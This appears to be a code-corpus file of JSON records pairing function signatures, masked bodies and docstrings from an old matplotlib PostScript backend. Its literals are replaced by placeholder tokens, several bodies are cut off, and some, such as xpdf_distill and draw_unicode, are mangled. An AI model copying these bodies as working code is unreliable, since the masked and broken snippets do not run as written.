{"signature": "def quote_ps_string(s):", "body": "s=s.replace(\"<STR_LIT:\\\\>\", \"<STR_LIT>\")<EOL>s=s.replace(\"<STR_LIT:(>\", \"<STR_LIT>\")<EOL>s=s.replace(\"<STR_LIT:)>\", \"<STR_LIT>\")<EOL>s=s.replace(\"<STR_LIT:'>\", \"<STR_LIT>\")<EOL>s=s.replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>s=re.sub(r\"<STR_LIT>\", lambda x: r\"<STR_LIT>\"%ord(x.group()), s)<EOL>return s<EOL>", "docstring": "Quote dangerous characters of S for use in a PostScript string constant.", "id": "f17234:m4"}
{"signature": "def seq_allequal(seq1, seq2):", "body": "if seq1 is None:<EOL><INDENT>return seq2 is None<EOL><DEDENT>if seq2 is None:<EOL><INDENT>return False<EOL><DEDENT>if len(seq1) != len(seq2): return False<EOL>return npy.alltrue(npy.equal(seq1, seq2))<EOL>", "docstring": "seq1 and seq2 are either None or sequences or numerix arrays\nReturn True if both are None or both are seqs with identical\nelements", "id": "f17234:m5"}
{"signature": "def convert_psfrags(tmpfile, psfrags, font_preamble, custom_preamble,<EOL>paperWidth, paperHeight, orientation):", "body": "tmpdir = os.path.split(tmpfile)[<NUM_LIT:0>]<EOL>epsfile = tmpfile+'<STR_LIT>'<EOL>shutil.move(tmpfile, epsfile)<EOL>latexfile = tmpfile+'<STR_LIT>'<EOL>outfile = tmpfile+'<STR_LIT>'<EOL>latexh = file(latexfile, '<STR_LIT:w>')<EOL>dvifile = tmpfile+'<STR_LIT>'<EOL>psfile = tmpfile+'<STR_LIT>'<EOL>if orientation=='<STR_LIT>': angle = <NUM_LIT><EOL>else: angle = <NUM_LIT:0><EOL>if rcParams['<STR_LIT>']:<EOL><INDENT>unicode_preamble = \"\"\"<STR_LIT>\"\"\"<EOL><DEDENT>else:<EOL><INDENT>unicode_preamble = '<STR_LIT>'<EOL><DEDENT>s =", "docstring": "When we want to use the LaTeX backend with postscript, we write PSFrag tags\nto a temporary postscript file, each one marking a position for LaTeX to\nrender some text. convert_psfrags generates a LaTeX document containing the\ncommands to convert those tags to text. LaTeX/dvips produces the postscript\nfile that includes the actual text.", "id": "f17234:m7"}
{"signature": "def gs_distill(tmpfile, eps=False, ptype='<STR_LIT>', bbox=None):", "body": "paper = '<STR_LIT>'% ptype<EOL>psfile = tmpfile + '<STR_LIT>'<EOL>outfile = tmpfile + '<STR_LIT>'<EOL>dpi = rcParams['<STR_LIT>']<EOL>if sys.platform == '<STR_LIT:win32>': gs_exe = '<STR_LIT>'<EOL>else: gs_exe = '<STR_LIT>'<EOL>command = '<STR_LIT>'% (gs_exe, dpi, paper, psfile, tmpfile, outfile)<EOL>verbose.report(command, '<STR_LIT>')<EOL>exit_status = os.system(command)<EOL>fh = file(outfile)<EOL>if exit_status: raise RuntimeError('<STR_LIT>' + fh.read())<EOL>else: verbose.report(fh.read(), '<STR_LIT>')<EOL>fh.close()<EOL>os.remove(outfile)<EOL>os.remove(tmpfile)<EOL>shutil.move(psfile, tmpfile)<EOL>if eps:<EOL><INDENT>pstoeps(tmpfile, bbox)<EOL><DEDENT>", "docstring": "Use ghostscript's pswrite or epswrite device to distill a file.\nThis yields smaller files without illegal encapsulated postscript\noperators. The output is low-level, converting text to outlines.", "id": "f17234:m8"}
{"signature": "def xpdf_distill(tmpfile, eps=False, ptype='<STR_LIT>', bbox=None):", "body": "pdffile = tmpfile + '<STR_LIT>'<EOL>psfile = tmpfile + '<STR_LIT>'<EOL>outfile = tmpfile + '<STR_LIT>'<EOL>command = '<STR_LIT>'%pe, tmpfile, pdffile, outfile)<EOL>if sys.platform == '<STR_LIT:win32>': command = command.replace('<STR_LIT:=>', '<STR_LIT:#>')<EOL>verbose.report(command, '<STR_LIT>')<EOL>exit_status = os.system(command)<EOL>fh = file(outfile)<EOL>if exit_status: raise RuntimeError('<STR_LIT>' + fh.read())<EOL>else: verbose.report(fh.read(), '<STR_LIT>')<EOL>fh.close()<EOL>os.remove(outfile)<EOL>command = '<STR_LIT>'%(pdffile, psfile, outfile)<EOL>verbose.report(command, '<STR_LIT>')<EOL>exit_status = os.system(command)<EOL>fh = file(outfile)<EOL>if exit_status: raise RuntimeError('<STR_LIT>' + fh.read())<EOL>else: verbose.report(fh.read(), '<STR_LIT>')<EOL>fh.close()<EOL>os.remove(outfile)<EOL>os.remove(tmpfile)<EOL>shutil.move(psfile, tmpfile)<EOL>if eps:<EOL>pstoeps(tmpfile, bbox)<EOL>for fname in glob.glob(tmpfile+'<STR_LIT>'):<EOL>os.remove(fname)<EOL>", "docstring": "Use ghostscript's ps2pdf and xpdf's/poppler's pdftops to distill a file.\nThis yields smaller files without illegal encapsulated postscript\noperators. This distiller is preferred, generating high-level postscript\noutput that treats text as text.", "id": "f17234:m9"}
{"signature": "def get_bbox(tmpfile, bbox):", "body": "outfile = tmpfile + '<STR_LIT>'<EOL>if sys.platform == '<STR_LIT:win32>': gs_exe = '<STR_LIT>'<EOL>else: gs_exe = '<STR_LIT>'<EOL>command = '<STR_LIT>' %(gs_exe, tmpfile)<EOL>verbose.report(command, '<STR_LIT>')<EOL>stdin, stdout, stderr = os.popen3(command)<EOL>verbose.report(stdout.read(), '<STR_LIT>')<EOL>bbox_info = stderr.read()<EOL>verbose.report(bbox_info, '<STR_LIT>')<EOL>bbox_found = re.search('<STR_LIT>', bbox_info)<EOL>if bbox_found:<EOL><INDENT>bbox_info = bbox_found.group()<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>'% bbox_info)<EOL><DEDENT>l, b, r, t = [float(i) for i in bbox_info.split()[-<NUM_LIT:4>:]]<EOL>if bbox is None:<EOL><INDENT>l, b, r, t = (l-<NUM_LIT:1>, b-<NUM_LIT:1>, r+<NUM_LIT:1>, t+<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>x = (l+r)/<NUM_LIT:2><EOL>y = (b+t)/<NUM_LIT:2><EOL>dx = (bbox[<NUM_LIT:2>]-bbox[<NUM_LIT:0>])/<NUM_LIT:2><EOL>dy = (bbox[<NUM_LIT:3>]-bbox[<NUM_LIT:1>])/<NUM_LIT:2><EOL>l,b,r,t = (x-dx, y-dy, x+dx, y+dy)<EOL><DEDENT>bbox_info = '<STR_LIT>' % (l, b, npy.ceil(r), npy.ceil(t))<EOL>hires_bbox_info = '<STR_LIT>' % (l, b, r, t)<EOL>return '<STR_LIT:\\n>'.join([bbox_info, hires_bbox_info])<EOL>", "docstring": "Use ghostscript's bbox device to find the center of the bounding box. Return\nan appropriately sized bbox centered around that point. A bit of a hack.", "id": "f17234:m10"}
{"signature": "def pstoeps(tmpfile, bbox):", "body": "bbox_info = get_bbox(tmpfile, bbox)<EOL>epsfile = tmpfile + '<STR_LIT>'<EOL>epsh = file(epsfile, '<STR_LIT:w>')<EOL>tmph = file(tmpfile)<EOL>line = tmph.readline()<EOL>while line:<EOL><INDENT>if line.startswith('<STR_LIT>'):<EOL><INDENT>print(\"<STR_LIT>\", file=epsh)<EOL>print(bbox_info, file=epsh)<EOL><DEDENT>elif line.startswith('<STR_LIT>'):<EOL><INDENT>epsh.write(line)<EOL>print('<STR_LIT>', file=epsh)<EOL>print('<STR_LIT>', file=epsh)<EOL>print('<STR_LIT>', file=epsh)<EOL>print('<STR_LIT>', file=epsh)<EOL>print('<STR_LIT>', file=epsh)<EOL>print('<STR_LIT>', file=epsh)<EOL>print('<STR_LIT>', file=epsh)<EOL>print('<STR_LIT>', file=epsh)<EOL>print('<STR_LIT>', file=epsh)<EOL>break<EOL><DEDENT>elif line.startswith('<STR_LIT>')or line.startswith('<STR_LIT>')or line.startswith('<STR_LIT>'):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>epsh.write(line)<EOL><DEDENT>line = tmph.readline()<EOL><DEDENT>line = tmph.readline()<EOL>while line:<EOL><INDENT>if line.startswith('<STR_LIT>'):<EOL><INDENT>print('<STR_LIT>', file=epsh)<EOL>print('<STR_LIT>', file=epsh)<EOL>print('<STR_LIT>', file=epsh)<EOL>print('<STR_LIT>', file=epsh)<EOL>print('<STR_LIT>', file=epsh)<EOL>if rcParams['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>line = tmph.readline()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>epsh.write(line)<EOL><DEDENT>line = tmph.readline()<EOL><DEDENT>tmph.close()<EOL>epsh.close()<EOL>os.remove(tmpfile)<EOL>shutil.move(epsfile, tmpfile)<EOL>", "docstring": "Convert the postscript to encapsulated postscript.", "id": "f17234:m11"}
{"signature": "def __init__(self, width, height, pswriter, imagedpi=<NUM_LIT>):", "body": "RendererBase.__init__(self)<EOL>self.width = width<EOL>self.height = height<EOL>self._pswriter = pswriter<EOL>if rcParams['<STR_LIT>']:<EOL><INDENT>self.textcnt = <NUM_LIT:0><EOL>self.psfrag = []<EOL><DEDENT>self.imagedpi = imagedpi<EOL>if rcParams['<STR_LIT>']:<EOL><INDENT>self.simplify = (width * imagedpi, height * imagedpi)<EOL><DEDENT>else:<EOL><INDENT>self.simplify = None<EOL><DEDENT>self.color = None<EOL>self.linewidth = None<EOL>self.linejoin = None<EOL>self.linecap = None<EOL>self.linedash = None<EOL>self.fontname = None<EOL>self.fontsize = None<EOL>self.hatch = None<EOL>self.image_magnification = imagedpi/<NUM_LIT><EOL>self._clip_paths = {}<EOL>self._path_collection_id = <NUM_LIT:0><EOL>self.used_characters = {}<EOL>self.mathtext_parser = MathTextParser(\"<STR_LIT>\")<EOL>", "docstring": "Although postscript itself is dpi independent, we need to\nimform the image code about a requested dpi to generate high\nres images and them scale them before embeddin them", "id": "f17234:c0:m0"}
{"signature": "def track_characters(self, font, s):", "body": "realpath, stat_key = get_realpath_and_stat(font.fname)<EOL>used_characters = self.used_characters.setdefault(<EOL>stat_key, (realpath, set()))<EOL>used_characters[<NUM_LIT:1>].update([ord(x) for x in s])<EOL>", "docstring": "Keeps track of which characters are required from\n        each font.", "id": "f17234:c0:m1"}
{"signature": "def set_hatch(self, hatch):", "body": "hatches = {'<STR_LIT>':<NUM_LIT:0>, '<STR_LIT>':<NUM_LIT:0>, '<STR_LIT>':<NUM_LIT:0>, '<STR_LIT>':<NUM_LIT:0>}<EOL>for letter in hatch:<EOL><INDENT>if   (letter == '<STR_LIT:/>'):    hatches['<STR_LIT>'] += <NUM_LIT:1><EOL>elif (letter == '<STR_LIT:\\\\>'):   hatches['<STR_LIT>'] += <NUM_LIT:1><EOL>elif (letter == '<STR_LIT:|>'):    hatches['<STR_LIT>']  += <NUM_LIT:1><EOL>elif (letter == '<STR_LIT:->'):    hatches['<STR_LIT>'] += <NUM_LIT:1><EOL>elif (letter == '<STR_LIT:+>'):<EOL><INDENT>hatches['<STR_LIT>'] += <NUM_LIT:1><EOL>hatches['<STR_LIT>'] += <NUM_LIT:1><EOL><DEDENT>elif (letter.lower() == '<STR_LIT:x>'):<EOL><INDENT>hatches['<STR_LIT>'] += <NUM_LIT:1><EOL>hatches['<STR_LIT>'] += <NUM_LIT:1><EOL><DEDENT><DEDENT>def do_hatch(angle, density):<EOL><INDENT>if (density == <NUM_LIT:0>): return \"<STR_LIT>\"<EOL>return", "docstring": "hatch can be one of:\n    /   - diagonal hatching\n    \\   - back diagonal\n    |   - vertical\n    -   - horizontal\n    +   - crossed\n    X   - crossed diagonal\n\nletters can be combined, in which case all the specified\nhatchings are done\n\nif same letter repeats, it increases the density of hatching\nin that direction", "id": "f17234:c0:m9"}
{"signature": "def get_canvas_width_height(self):", "body": "return self.width, self.height<EOL>", "docstring": "return the canvas width and height in display coords", "id": "f17234:c0:m10"}
{"signature": "def get_text_width_height_descent(self, s, prop, ismath):", "body": "if rcParams['<STR_LIT>']:<EOL><INDENT>texmanager = self.get_texmanager()<EOL>fontsize = prop.get_size_in_points()<EOL>l,b,r,t = texmanager.get_ps_bbox(s, fontsize)<EOL>w = (r-l)<EOL>h = (t-b)<EOL>return w, h, <NUM_LIT:0><EOL><DEDENT>if ismath:<EOL><INDENT>width, height, descent, pswriter, used_characters =self.mathtext_parser.parse(s, <NUM_LIT>, prop)<EOL>return width, height, descent<EOL><DEDENT>if rcParams['<STR_LIT>']:<EOL><INDENT>if ismath: s = s[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL>font = self._get_font_afm(prop)<EOL>l,b,w,h,d = font.get_str_bbox_and_descent(s)<EOL>fontsize = prop.get_size_in_points()<EOL>scale = <NUM_LIT>*fontsize<EOL>w *= scale<EOL>h *= scale<EOL>d *= scale<EOL>return w, h, d<EOL><DEDENT>font = self._get_font_ttf(prop)<EOL>font.set_text(s, <NUM_LIT:0.0>, flags=LOAD_NO_HINTING)<EOL>w, h = font.get_width_height()<EOL>w /= <NUM_LIT>  <EOL>h /= <NUM_LIT><EOL>d = font.get_descent()<EOL>d /= <NUM_LIT><EOL>return w, h, d<EOL>", "docstring": "get the width and height in display coords of the string s\nwith FontPropertry prop", "id": "f17234:c0:m11"}
{"signature": "def flipy(self):", "body": "return False<EOL>", "docstring": "return true if small y numbers are top for renderer", "id": "f17234:c0:m12"}
{"signature": "def get_image_magnification(self):", "body": "return self.image_magnification<EOL>", "docstring": "Get the factor by which to magnify images passed to draw_image.\nAllows a backend to have images at a different resolution to other\nartists.", "id": "f17234:c0:m19"}
{"signature": "def draw_image(self, x, y, im, bbox, clippath=None, clippath_trans=None):", "body": "im.flipud_out()<EOL>if im.is_grayscale:<EOL><INDENT>h, w, bits = self._gray(im)<EOL>imagecmd = \"<STR_LIT:image>\"<EOL><DEDENT>else:<EOL><INDENT>h, w, bits = self._rgb(im)<EOL>imagecmd = \"<STR_LIT>\"<EOL><DEDENT>hexlines = '<STR_LIT:\\n>'.join(self._hex_lines(bits))<EOL>xscale, yscale = (<EOL>w/self.image_magnification, h/self.image_magnification)<EOL>figh = self.height*<NUM_LIT><EOL>clip = []<EOL>if bbox is not None:<EOL><INDENT>clipx,clipy,clipw,cliph = bbox.bounds<EOL>clip.append('<STR_LIT>' % _nums_to_str(clipw, cliph, clipx, clipy))<EOL><DEDENT>if clippath is not None:<EOL><INDENT>id = self._get_clip_path(clippath, clippath_trans)<EOL>clip.append('<STR_LIT:%s>' % id)<EOL><DEDENT>clip = '<STR_LIT:\\n>'.join(clip)<EOL>ps =", "docstring": "Draw the Image instance into the current axes; x is the\ndistance in pixels from the left hand side of the canvas and y\nis the distance from bottom\n\nbbox is a matplotlib.transforms.BBox instance for clipping, or\nNone", "id": "f17234:c0:m20"}
{"signature": "def draw_path(self, gc, path, transform, rgbFace=None):", "body": "ps = self._convert_path(path, transform, self.simplify)<EOL>self._draw_ps(ps, gc, rgbFace)<EOL>", "docstring": "Draws a Path instance using the given affine transform.", "id": "f17234:c0:m23"}
{"signature": "def draw_markers(self, gc, marker_path, marker_trans, path, trans, rgbFace=None):", "body": "if debugPS: self._pswriter.write('<STR_LIT>')<EOL>write = self._pswriter.write<EOL>if rgbFace:<EOL><INDENT>if rgbFace[<NUM_LIT:0>]==rgbFace[<NUM_LIT:1>] and rgbFace[<NUM_LIT:0>]==rgbFace[<NUM_LIT:2>]:<EOL><INDENT>ps_color = '<STR_LIT>' % rgbFace[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>ps_color = '<STR_LIT>' % rgbFace<EOL><DEDENT><DEDENT>ps_cmd = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'] <EOL>ps_cmd.append(self._convert_path(marker_path, marker_trans))<EOL>if rgbFace:<EOL><INDENT>ps_cmd.extend(['<STR_LIT>', ps_color, '<STR_LIT>', '<STR_LIT>'])<EOL><DEDENT>ps_cmd.extend(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>tpath = trans.transform_path(path)<EOL>for vertices, code in tpath.iter_segments():<EOL><INDENT>if len(vertices):<EOL><INDENT>x, y = vertices[-<NUM_LIT:2>:]<EOL>ps_cmd.append(\"<STR_LIT>\" % (x, y))<EOL><DEDENT><DEDENT>ps = '<STR_LIT:\\n>'.join(ps_cmd)<EOL>self._draw_ps(ps, gc, rgbFace, fill=False, stroke=False)<EOL>", "docstring": "Draw the markers defined by path at each of the positions in x\nand y.  path coordinates are points, x and y coords will be\ntransformed by the transform", "id": "f17234:c0:m24"}
{"signature": "def draw_tex(self, gc, x, y, s, prop, angle, ismath='<STR_LIT>'):", "body": "w, h, bl = self.get_text_width_height_descent(s, prop, ismath)<EOL>fontsize = prop.get_size_in_points()<EOL>corr = <NUM_LIT:0><EOL>pos = _nums_to_str(x-corr, y)<EOL>thetext = '<STR_LIT>' % self.textcnt<EOL>color = '<STR_LIT>'% gc.get_rgb()[:<NUM_LIT:3>]<EOL>fontcmd = {'<STR_LIT>' : r'<STR_LIT>',<EOL>'<STR_LIT>'  : r'<STR_LIT>'}.get(<EOL>rcParams['<STR_LIT>'], r'<STR_LIT>')<EOL>s = fontcmd % s<EOL>tex = r'<STR_LIT>' % (color, s)<EOL>self.psfrag.append(r'<STR_LIT>'%(thetext, angle, fontsize, fontsize*<NUM_LIT>, tex))<EOL>ps =", "docstring": "draw a Text instance", "id": "f17234:c0:m26"}
{"signature": "def draw_text(self, gc, x, y, s, prop, angle, ismath):", "body": "<EOL>write = self._pswriter.write<EOL>if debugPS:<EOL><INDENT>write(\"<STR_LIT>\")<EOL><DEDENT>if ismath=='<STR_LIT>':<EOL><INDENT>return self.tex(gc, x, y, s, prop, angle)<EOL><DEDENT>elif ismath:<EOL><INDENT>return self.draw_mathtext(gc, x, y, s, prop, angle)<EOL><DEDENT>elif isinstance(s, str):<EOL><INDENT>return self.draw_unicode(gc, x, y, s, prop, angle)<EOL><DEDENT>elif rcParams['<STR_LIT>']:<EOL><INDENT>font = self._get_font_afm(prop)<EOL>l,b,w,h = font.get_str_bbox(s)<EOL>fontsize = prop.get_size_in_points()<EOL>l *= <NUM_LIT>*fontsize<EOL>b *= <NUM_LIT>*fontsize<EOL>w *= <NUM_LIT>*fontsize<EOL>h *= <NUM_LIT>*fontsize<EOL>if angle==<NUM_LIT>: l,b = -b, l <EOL>pos = _nums_to_str(x-l, y-b)<EOL>thetext = '<STR_LIT>' % s<EOL>fontname = font.get_fontname()<EOL>fontsize = prop.get_size_in_points()<EOL>rotate = '<STR_LIT>' % angle<EOL>setcolor = '<STR_LIT>' % gc.get_rgb()[:<NUM_LIT:3>]<EOL>ps =", "docstring": "draw a Text instance", "id": "f17234:c0:m27"}
{"signature": "def draw_unicode(self, gc, x, y, s, prop, angle):", "body": "if rcParams['<STR_LIT>']:<EOL><INDENT>self.set_color(*gc.get_rgb())<EOL>font = self._get_font_afm(prop)<EOL>fontname = font.get_fontname()<EOL>fontsize = prop.get_size_in_points()<EOL>scale = <NUM_LIT>*fontsize<EOL>thisx = <NUM_LIT:0><EOL>thisy = font.get_str_bbox_and_descent(s)[<NUM_LIT:4>] * scale<EOL>last_name = None<EOL>lines = []<EOL>for c in s:<EOL><INDENT>name = uni2type1.get(ord(c), '<STR_LIT>')<EOL>try:<EOL><INDENT>width = font.get_width_from_char_name(name)<EOL><DEDENT>except KeyError:<EOL><INDENT>name = '<STR_LIT>'<EOL>width = font.get_width_char('<STR_LIT:?>')<EOL><DEDENT>if last_name is not None:<EOL><INDENT>kern = font.get_kern_dist_from_name(last_name, name)<EOL><DEDENT>else:<EOL><INDENT>kern = <NUM_LIT:0><EOL><DEDENT>last_name = name<EOL>thisx += kern * scale<EOL>lines.append('<STR_LIT>'%(thisx, thisy, name))<EOL>thisx += width * scale<EOL><DEDENT>thetext = \"<STR_LIT:\\n>\".join(lines)<EOL>ps = \"\"\"<STR_LIT>\"\"\"gsave<EOL><DEDENT>y)f translate<EOL>f rotate<EOL>t)s<EOL>cals()<EOL>self._pswriter.write(ps)<EOL>", "docstring": "draw a unicode string.  ps doesn't have unicode support, so\n        we have to do this the hard way", "id": "f17234:c0:m29"}
{"signature": "def draw_mathtext(self, gc,<EOL>x, y, s, prop, angle):", "body": "if debugPS:<EOL><INDENT>self._pswriter.write(\"<STR_LIT>\")<EOL><DEDENT>width, height, descent, pswriter, used_characters =self.mathtext_parser.parse(s, <NUM_LIT>, prop)<EOL>self.merge_used_characters(used_characters)<EOL>self.set_color(*gc.get_rgb())<EOL>thetext = pswriter.getvalue()<EOL>ps =", "docstring": "Draw the math text using matplotlib.mathtext", "id": "f17234:c0:m30"}
{"signature": "def _draw_ps(self, ps, gc, rgbFace, fill=True, stroke=True, command=None):", "body": "<EOL>write = self._pswriter.write<EOL>if debugPS and command:<EOL><INDENT>write(\"<STR_LIT>\"+command+\"<STR_LIT:\\n>\")<EOL><DEDENT>mightstroke = (gc.get_linewidth() > <NUM_LIT:0.0> and<EOL>(len(gc.get_rgb()) <= <NUM_LIT:3> or gc.get_rgb()[<NUM_LIT:3>] != <NUM_LIT:0.0>))<EOL>stroke = stroke and mightstroke<EOL>fill = (fill and rgbFace is not None and<EOL>(len(rgbFace) <= <NUM_LIT:3> or rgbFace[<NUM_LIT:3>] != <NUM_LIT:0.0>))<EOL>if mightstroke:<EOL><INDENT>self.set_linewidth(gc.get_linewidth())<EOL>jint = gc.get_joinstyle()<EOL>self.set_linejoin(jint)<EOL>cint = gc.get_capstyle()<EOL>self.set_linecap(cint)<EOL>self.set_linedash(*gc.get_dashes())<EOL>self.set_color(*gc.get_rgb()[:<NUM_LIT:3>])<EOL><DEDENT>write('<STR_LIT>')<EOL>cliprect = gc.get_clip_rectangle()<EOL>if cliprect:<EOL><INDENT>x,y,w,h=cliprect.bounds<EOL>write('<STR_LIT>' % (w,h,x,y))<EOL><DEDENT>clippath, clippath_trans = gc.get_clip_path()<EOL>if clippath:<EOL><INDENT>id = self._get_clip_path(clippath, clippath_trans)<EOL>write('<STR_LIT>' % id)<EOL><DEDENT>write(ps.strip())<EOL>write(\"<STR_LIT:\\n>\")<EOL>if fill:<EOL><INDENT>if stroke:<EOL><INDENT>write(\"<STR_LIT>\")<EOL>self.set_color(store=<NUM_LIT:0>, *rgbFace[:<NUM_LIT:3>])<EOL>write(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>self.set_color(store=<NUM_LIT:0>, *rgbFace[:<NUM_LIT:3>])<EOL>write(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>hatch = gc.get_hatch()<EOL>if hatch:<EOL><INDENT>self.set_hatch(hatch)<EOL><DEDENT>if stroke:<EOL><INDENT>write(\"<STR_LIT>\")<EOL><DEDENT>write(\"<STR_LIT>\")<EOL>", "docstring": "Emit the PostScript sniplet 'ps' with all the attributes from 'gc'\napplied.  'ps' must consist of PostScript commands to construct a path.\n\nThe fill and/or stroke kwargs can be set to False if the\n'ps' string already includes filling and/or stroking, in\nwhich case _draw_ps is just supplying properties and\nclipping.", "id": "f17234:c0:m31"}
{"signature": "def _print_figure(self, outfile, format, dpi=<NUM_LIT>, facecolor='<STR_LIT:w>', edgecolor='<STR_LIT:w>',<EOL>orientation='<STR_LIT>', isLandscape=False, papertype=None):", "body": "isEPSF = format == '<STR_LIT>'<EOL>passed_in_file_object = False<EOL>if is_string_like(outfile):<EOL><INDENT>title = outfile<EOL>tmpfile = os.path.join(gettempdir(), md5(outfile).hexdigest())<EOL><DEDENT>elif is_writable_file_like(outfile):<EOL><INDENT>title = None<EOL>tmpfile = os.path.join(gettempdir(), md5(str(hash(outfile))).hexdigest())<EOL>passed_in_file_object = True<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>fh = file(tmpfile, '<STR_LIT:w>')<EOL>width, height = self.figure.get_size_inches()<EOL>if papertype == '<STR_LIT>':<EOL><INDENT>if isLandscape: papertype = _get_papertype(height, width)<EOL>else: papertype = _get_papertype(width, height)<EOL><DEDENT>if isLandscape: paperHeight, paperWidth = papersize[papertype]<EOL>else: paperWidth, paperHeight = papersize[papertype]<EOL>if rcParams['<STR_LIT>'] and not papertype == '<STR_LIT>':<EOL><INDENT>if width>paperWidth or height>paperHeight:<EOL><INDENT>if isLandscape:<EOL><INDENT>papertype = _get_papertype(height, width)<EOL>paperHeight, paperWidth = papersize[papertype]<EOL><DEDENT>else:<EOL><INDENT>papertype = _get_papertype(width, height)<EOL>paperWidth, paperHeight = papersize[papertype]<EOL><DEDENT><DEDENT><DEDENT>xo = <NUM_LIT>*<NUM_LIT:0.5>*(paperWidth - width)<EOL>yo = <NUM_LIT>*<NUM_LIT:0.5>*(paperHeight - height)<EOL>l, b, w, h = self.figure.bbox.bounds<EOL>llx = xo<EOL>lly = yo<EOL>urx = llx + w<EOL>ury = lly + h<EOL>rotation = <NUM_LIT:0><EOL>if isLandscape:<EOL><INDENT>llx, lly, urx, ury = lly, llx, ury, urx<EOL>xo, yo = <NUM_LIT>*paperHeight - yo, xo<EOL>rotation = <NUM_LIT><EOL><DEDENT>bbox = (llx, lly, urx, ury)<EOL>origfacecolor = self.figure.get_facecolor()<EOL>origedgecolor = self.figure.get_edgecolor()<EOL>self.figure.set_facecolor(facecolor)<EOL>self.figure.set_edgecolor(edgecolor)<EOL>self._pswriter = StringIO()<EOL>renderer = RendererPS(width, height, self._pswriter, imagedpi=dpi)<EOL>self.figure.draw(renderer)<EOL>self.figure.set_facecolor(origfacecolor)<EOL>self.figure.set_edgecolor(origedgecolor)<EOL>if isEPSF: print(\"<STR_LIT>\", file=fh)<EOL>else: print(\"<STR_LIT>\", file=fh)<EOL>if title: print(\"<STR_LIT>\"+title, file=fh)<EOL>print((\"<STR_LIT>\"<EOL>+__version__+\"<STR_LIT>\"), file=fh)<EOL>print(\"<STR_LIT>\"+time.ctime(time.time()), file=fh)<EOL>print(\"<STR_LIT>\" + orientation, file=fh)<EOL>if not isEPSF: print(\"<STR_LIT>\"+papertype, file=fh)<EOL>print(\"<STR_LIT>\" % bbox, file=fh)<EOL>if not isEPSF: print(\"<STR_LIT>\", file=fh)<EOL>print(\"<STR_LIT>\", file=fh)<EOL>Ndict = len(psDefs)<EOL>print(\"<STR_LIT>\", file=fh)<EOL>if not rcParams['<STR_LIT>']:<EOL><INDENT>Ndict += len(renderer.used_characters)<EOL><DEDENT>print(\"<STR_LIT>\"%Ndict, file=fh)<EOL>print(\"<STR_LIT>\", file=fh)<EOL>for d in psDefs:<EOL><INDENT>d=d.strip()<EOL>for l in d.split('<STR_LIT:\\n>'):<EOL><INDENT>print(l.strip(), file=fh)<EOL><DEDENT><DEDENT>if not rcParams['<STR_LIT>']:<EOL><INDENT>for font_filename, chars in list(renderer.used_characters.values()):<EOL><INDENT>if len(chars):<EOL><INDENT>font = FT2Font(font_filename)<EOL>cmap = font.get_charmap()<EOL>glyph_ids = []<EOL>for c in chars:<EOL><INDENT>gind = cmap.get(c) or <NUM_LIT:0><EOL>glyph_ids.append(gind)<EOL><DEDENT>if is_opentype_cff_font(font_filename):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>fonttype = rcParams['<STR_LIT>']<EOL>convert_ttf_to_ps(font_filename, fh, rcParams['<STR_LIT>'], glyph_ids)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>print(\"<STR_LIT:end>\", file=fh)<EOL>print(\"<STR_LIT>\", file=fh)<EOL>if not isEPSF: print(\"<STR_LIT>\", file=fh)<EOL>print(\"<STR_LIT>\", file=fh)<EOL>print(\"<STR_LIT>\"%_nums_to_str(xo, yo), file=fh)<EOL>if rotation: print(\"<STR_LIT>\"%rotation, file=fh)<EOL>print(\"<STR_LIT>\"%_nums_to_str(width*<NUM_LIT>, height*<NUM_LIT>, <NUM_LIT:0>, <NUM_LIT:0>), file=fh)<EOL>print(self._pswriter.getvalue(), file=fh)<EOL>print(\"<STR_LIT:end>\", file=fh)<EOL>print(\"<STR_LIT>\", file=fh)<EOL>if not isEPSF: print(\"<STR_LIT>\", file=fh)<EOL>fh.close()<EOL>if rcParams['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>gs_distill(tmpfile, isEPSF, ptype=papertype, bbox=bbox)<EOL><DEDENT>elif rcParams['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>xpdf_distill(tmpfile, isEPSF, ptype=papertype, bbox=bbox)<EOL><DEDENT>if passed_in_file_object:<EOL><INDENT>fh = file(tmpfile)<EOL>print(fh.read(), file=outfile)<EOL><DEDENT>else:<EOL><INDENT>shutil.move(tmpfile, outfile)<EOL><DEDENT>", "docstring": "Render the figure to hardcopy.  Set the figure patch face and\nedge colors.  This is useful because some of the GUIs have a\ngray figure face color background and you'll probably want to\noverride this on hardcopy\n\nIf outfile is a string, it is interpreted as a file name.\nIf the extension matches .ep* write encapsulated postscript,\notherwise write a stand-alone PostScript file.\n\nIf outfile is a file object, a stand-alone PostScript file is\nwritten into this file object.", "id": "f17234:c2:m5"}
{"signature": "def _print_figure_tex(self, outfile, format, dpi, facecolor, edgecolor,<EOL>orientation, isLandscape, papertype):", "body": "isEPSF = format == '<STR_LIT>'<EOL>title = outfile<EOL>tmpfile = os.path.join(gettempdir(), md5(outfile).hexdigest())<EOL>fh = file(tmpfile, '<STR_LIT:w>')<EOL>self.figure.dpi = <NUM_LIT> <EOL>width, height = self.figure.get_size_inches()<EOL>xo = <NUM_LIT:0><EOL>yo = <NUM_LIT:0><EOL>l, b, w, h = self.figure.bbox.bounds<EOL>llx = xo<EOL>lly = yo<EOL>urx = llx + w<EOL>ury = lly + h<EOL>bbox = (llx, lly, urx, ury)<EOL>origfacecolor = self.figure.get_facecolor()<EOL>origedgecolor = self.figure.get_edgecolor()<EOL>self.figure.set_facecolor(facecolor)<EOL>self.figure.set_edgecolor(edgecolor)<EOL>self._pswriter = StringIO()<EOL>renderer = RendererPS(width, height, self._pswriter, 